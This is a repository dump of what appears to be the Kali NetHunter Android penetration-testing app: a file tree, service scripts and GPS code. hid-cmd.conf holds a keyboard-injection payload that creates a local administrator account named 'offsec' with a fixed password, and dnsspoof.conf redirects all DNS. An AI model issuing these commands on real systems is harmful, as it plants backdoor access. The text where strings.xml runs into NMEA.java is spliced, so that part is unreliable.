├── .gitattributes
├── assets
├── nh_files
│ ├── duckyscripts
│ │ ├── clear
│ │ ├── helloworld
│ │ ├── osx_ruby_reverse_shell
│ │ ├── osx_perl_reverse_shell
│ │ └── windows_rdp
│ ├── configs
│ │ ├── dnsspoof.conf
│ │ ├── hid-cmd.conf
│ │ ├── iptables.conf
│ │ ├── dnsmasq.conf
│ │ ├── dhcpd.conf
│ │ ├── dhcpd-mana.conf
│ │ ├── hostapd-karma.conf
│ │ ├── rev-tcp
│ │ ├── startbadusb-kitkat.sh
│ │ ├── startbadusb-lollipop.sh
│ │ └── hid-keylog
│ ├── deauth
│ │ └── scan.sh
│ └── modules
│ │ ├── duckconvert.txt
│ │ └── filetohid.py
├── etc
│ └── init.d
│ │ ├── 60preservices
│ │ ├── 80postservices
│ │ └── 50userinit
└── scripts
│ ├── start_gpsd
│ ├── start-web
│ ├── stop-hostapd
│ ├── start-badusb-kitkat
│ ├── check-kalibeef-xss
│ ├── start-badusb-lollipop
│ ├── check-kalivnc
│ ├── check-fruity-wifi
│ ├── check-kalidhcp
│ ├── check-kalihostapd
│ ├── check-kalissh
│ ├── check-kalivpn
│ ├── check-kaliapache
│ ├── check-kalidnsmq
│ ├── check-kalimetasploit
│ ├── start-hid-cmd
│ ├── start-rev-met
│ ├── start-ssh
│ ├── stop-ssh
│ ├── start-dnsmasq
│ ├── start-gpsd
│ ├── start-vpn
│ ├── stop-beef-xss
│ ├── stop-openvpn
│ ├── stop-vpn
│ ├── start-openvpn
│ ├── stop-dhcp
│ ├── stop-dnsmasq
│ ├── bootkali_bash
│ ├── start-dhcp
│ ├── bootkali_login
│ ├── stop-web
│ ├── start-hid-cmd-elevated-win7
│ ├── start-hid-cmd-elevated-win8
│ ├── start-iptables
│ ├── start-rev-met-elevated-win7
│ ├── start-rev-met-elevated-win8
│ ├── start-hostapd
│ ├── start-update
│ ├── stop-badusb-kitkat
│ ├── start-msf
│ ├── stop-msf
│ ├── start-beef-xss
│ ├── stop-apache
│ ├── start-apache
│ ├── iptables-flush
│ ├── stop-gpsd
│ ├── start-wifite
│ ├── bootkali_env
│ ├── check-ycable
│ ├── stop-badusb-lollipop
│ ├── killkali
│ └── pine-nano
├── settings.gradle
├── ic_launcher-web.png
├── res
├── drawable-hdpi
│ ├── ic_usb.png
│ ├── ic_launcher.png
│ ├── ic_gps_fixed_black_18dp.png
│ ├── ic_stat_ic_nh_notificaiton.png
│ ├── ic_system_update_black_36dp.png
│ └── ic_action_perm_device_information.png
├── drawable-ldpi
│ └── ic_usb.png
├── drawable-mdpi
│ ├── ic_usb.png
│ ├── nh_cropbg.png
│ ├── ic_launcher.png
│ ├── ic_gps_fixed_black_18dp.png
│ ├── offsec_logo_transparent.png
│ ├── ic_stat_ic_nh_notificaiton.png
│ ├── ic_system_update_black_36dp.png
│ ├── ic_action_perm_device_information.png
│ └── activated_color.xml
├── drawable-xhdpi
│ ├── ic_usb.png
│ ├── ic_launcher.png
│ ├── ic_gps_fixed_black_18dp.png
│ ├── ic_stat_ic_nh_notificaiton.png
│ ├── ic_system_update_black_36dp.png
│ └── ic_action_perm_device_information.png
├── drawable-xxhdpi
│ ├── ic_usb.png
│ ├── ic_launcher.png
│ ├── ic_gps_fixed_black_18dp.png
│ ├── ic_stat_ic_nh_notificaiton.png
│ ├── ic_system_update_black_36dp.png
│ └── ic_action_perm_device_information.png
├── drawable-xxxhdpi
│ ├── ic_usb.png
│ ├── ic_gps_fixed_black_18dp.png
│ ├── ic_stat_ic_nh_notificaiton.png
│ └── ic_action_perm_device_information.png
├── drawable-hdpi-v11
│ └── ic_stat_ic_nh_notificaiton.png
├── drawable-mdpi-v11
│ └── ic_stat_ic_nh_notificaiton.png
├── drawable-xhdpi-v11
│ └── ic_stat_ic_nh_notificaiton.png
├── drawable-xxhdpi-v11
│ └── ic_stat_ic_nh_notificaiton.png
├── drawable-xxxhdpi-v11
│ └── ic_stat_ic_nh_notificaiton.png
├── values
│ ├── dimens.xml
│ ├── colors.xml
│ ├── ids.xml
│ └── themes.xml
├── menu
│ ├── searchsploit.xml
│ ├── kali_services.xml
│ ├── macchanger.xml
│ ├── deauth.xml
│ ├── custom_commands.xml
│ ├── mitmf.xml
│ ├── duck_hunter.xml
│ ├── badusb.xml
│ ├── mana.xml
│ ├── hid.xml
│ └── sidebar.xml
├── drawable
│ ├── ic_action_play.xml
│ ├── ic_action_home.xml
│ ├── ic_memory_24dp.xml
│ ├── ic_action_refresh.xml
│ ├── ic_action_keyboard.xml
│ ├── ic_cast_connected_black_24dp.xml
│ ├── ic_action_network_wifi.xml
│ ├── ic_share_black_24dp.xml
│ ├── ic_bug_report_black_24dp.xml
│ ├── ic_action_android.xml
│ ├── ic_action_settings_applications.xml
│ ├── ic_action_usb.xml
│ └── ic_action_information.xml
├── values-w820dp
│ └── dimens.xml
├── layout
│ ├── nethunter_item.xml
│ ├── payload_maker_item.xml
│ ├── macchanger_ifaces_item.xml
│ ├── mana.xml
│ ├── mitmf.xml
│ ├── hid.xml
│ ├── duck_hunter.xml
│ ├── duck_hunter_preview.xml
│ ├── kali_services.xml
│ ├── source.xml
│ ├── source_short.xml
│ ├── deauth_whitelist.xml
│ ├── base_layout.xml
│ ├── badusb.xml
│ ├── hid_powershell_http.xml
│ ├── gps.xml
│ ├── custom_commands.xml
│ ├── kali_services_item.xml
│ ├── deauth.xml
│ ├── hid_windows_cmd.xml
│ ├── sidenav_header.xml
│ ├── duck_hunter_convert.xml
│ ├── createchroot.xml
│ ├── hid_powersploit.xml
│ ├── mana_hostapd_wpe.xml
│ ├── mitmf_responder.xml
│ ├── pineapple.xml
│ ├── custom_commands_item.xml
│ ├── payload_maker.xml
│ ├── metapackagechooser.xml
│ ├── mana_hostapd.xml
│ └── searchsploit.xml
└── values-v21
│ └── colors.xml
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── androidwversionmanager
├── src
│ └── main
│ │ ├── res
│ │ ├── values
│ │ │ ├── strings.xml
│ │ │ └── styles.xml
│ │ ├── drawable-hdpi
│ │ │ └── ic_launcher.png
│ │ ├── drawable-mdpi
│ │ │ └── ic_launcher.png
│ │ ├── drawable-xhdpi
│ │ │ └── ic_launcher.png
│ │ ├── values-v11
│ │ │ └── styles.xml
│ │ └── values-v14
│ │ │ └── styles.xml
│ │ ├── AndroidManifest.xml
│ │ └── java
│ │ └── com
│ │ └── winsontan520
│ │ └── wversionmanager
│ │ └── library
│ │ ├── OnReceiveListener.java
│ │ ├── CustomTagHandler.java
│ │ └── IWVersionManager.java
├── build.gradle
└── license.txt
├── src
└── com
│ └── offsec
│ └── nethunter
│ ├── gps
│ ├── KaliGPSUpdates.java
│ ├── GpsPosition.java
│ ├── GpsdServer.java
│ └── NMEA.java
│ ├── LauncherButton.java
│ ├── receiver
│ └── BootCompletedReceiver.java
│ ├── LauncherApp.java
│ ├── DeAuthWhitelistActivity.java
│ ├── CustomCommand.java
│ ├── SearchSploit.java
│ ├── utils
│ ├── CheckForRoot.java
│ └── NhPaths.java
│ ├── EditSourceActivity.java
│ ├── KaliGpsServiceFragment.java
│ └── SQLPersistence.java
├── project.properties
├── Android.mk
├── .gitignore
├── proguard-project.txt
├── gradlew.bat
├── README.md
└── AndroidManifest.xml
/.gitattributes:
--------------------------------------------------------------------------------
1 | * eol=lf
2 |
--------------------------------------------------------------------------------
/assets/nh_files/duckyscripts/clear:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/assets/nh_files/configs/dnsspoof.conf:
--------------------------------------------------------------------------------
1 | 10.0.0.1 *
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':androidwversionmanager'
2 |
--------------------------------------------------------------------------------
/assets/nh_files/deauth/scan.sh:
--------------------------------------------------------------------------------
1 | iwlist $1 scanning | grep 'Channel\|ESSID'
2 |
--------------------------------------------------------------------------------
/assets/etc/init.d/60preservices:
--------------------------------------------------------------------------------
1 | #!/system/bin/sh
2 |
3 | # this runs before the Kaliservices
4 |
--------------------------------------------------------------------------------
/ic_launcher-web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/ic_launcher-web.png
--------------------------------------------------------------------------------
/assets/etc/init.d/80postservices:
--------------------------------------------------------------------------------
1 | #!/system/bin/sh
2 |
3 | # this runs after the Kaliservices
4 |
5 |
--------------------------------------------------------------------------------
/assets/scripts/start_gpsd:
--------------------------------------------------------------------------------
1 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "gpsd -n tcp://127.0.0.1:10110"
--------------------------------------------------------------------------------
/res/drawable-hdpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_usb.png
--------------------------------------------------------------------------------
/res/drawable-ldpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-ldpi/ic_usb.png
--------------------------------------------------------------------------------
/res/drawable-mdpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_usb.png
--------------------------------------------------------------------------------
/res/drawable-mdpi/nh_cropbg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/nh_cropbg.png
--------------------------------------------------------------------------------
/res/drawable-xhdpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_usb.png
--------------------------------------------------------------------------------
/res/drawable-xxhdpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_usb.png
--------------------------------------------------------------------------------
/res/drawable-xxxhdpi/ic_usb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi/ic_usb.png
--------------------------------------------------------------------------------
/assets/scripts/start-web:
--------------------------------------------------------------------------------
1 | unset LD_PRELOAD
2 | /system/xbin/reload_fcgi.sh &
3 | /system/xbin/reload_lighttpd.sh &
4 |
5 |
--------------------------------------------------------------------------------
/assets/scripts/stop-hostapd:
--------------------------------------------------------------------------------
1 | unset LD_PRELOAD
2 | killall hostapd 2> /dev/null
3 | killall hostapd 2> /dev/null
4 |
5 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/res/drawable-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/res/drawable-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/res/drawable-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/res/drawable-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/assets/scripts/start-badusb-kitkat:
--------------------------------------------------------------------------------
1 | #!/system/bin/sh
2 | unset LD_PRELOAD
3 | cd /sdcard/nh_files/configs/ && sh startbadusb-kitkat.sh
4 |
--------------------------------------------------------------------------------
/assets/nh_files/configs/hid-cmd.conf:
--------------------------------------------------------------------------------
1 | *ipconfig
2 | net user offsec H1dKey80ard! /add
3 | net localgroup administrators offsec /add
4 |
5 |
--------------------------------------------------------------------------------
/assets/scripts/check-kalibeef-xss:
--------------------------------------------------------------------------------
1 | unset LD_PRELOAD
2 | if [[ -n $(ps |grep ruby|grep 104) ]]; then
3 | echo "1"
4 | else
5 | echo "0"
6 | fi
7 |
--------------------------------------------------------------------------------
/assets/scripts/start-badusb-lollipop:
--------------------------------------------------------------------------------
1 | #!/system/bin/sh
2 | unset LD_PRELOAD
3 | cd /sdcard/nh_files/configs/ && sh startbadusb-lollipop.sh
4 |
5 |
--------------------------------------------------------------------------------
/res/drawable-hdpi/ic_gps_fixed_black_18dp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_gps_fixed_black_18dp.png
--------------------------------------------------------------------------------
/res/drawable-mdpi/ic_gps_fixed_black_18dp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_gps_fixed_black_18dp.png
--------------------------------------------------------------------------------
/res/drawable-mdpi/offsec_logo_transparent.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/offsec_logo_transparent.png
--------------------------------------------------------------------------------
/res/drawable-xhdpi/ic_gps_fixed_black_18dp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_gps_fixed_black_18dp.png
--------------------------------------------------------------------------------
/androidwversionmanager/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
16 | * A nice reference for NMEA is at http://www.gpsinformation.org/dale/nmea.htm
17 | */
18 | final class NMEA {
19 |
20 |
21 | /**
22 | * Formats the speed in knots from the #Location into a string.
23 | * If the speed is unknown, it returns an empty string.
24 | */
25 | public static String formatSpeedKt(Location location) {
26 | String s = "";
27 | if (location.hasSpeed())
28 | // http://www.google.com/search?q=m%2Fs+to+kt
29 | s += (location.getSpeed() * 1.94384449);
30 | return s;
31 | }
32 |
33 | /**
34 | * Formats the bearing from the #Location into a string. If the
35 | * bearing is unknown, it returns an empty string.
36 | */
37 | public static String formatBearing(Location location) {
38 | String s = "";
39 | if (location.hasBearing())
40 | s += location.getBearing();
41 | return s;
42 | }
43 |
44 | public static String formatGpsGsa(GpsStatus gps) {
45 | String fix = "1";
46 | String prn = "";
47 | int nbr_sat = 0;
48 | Iterator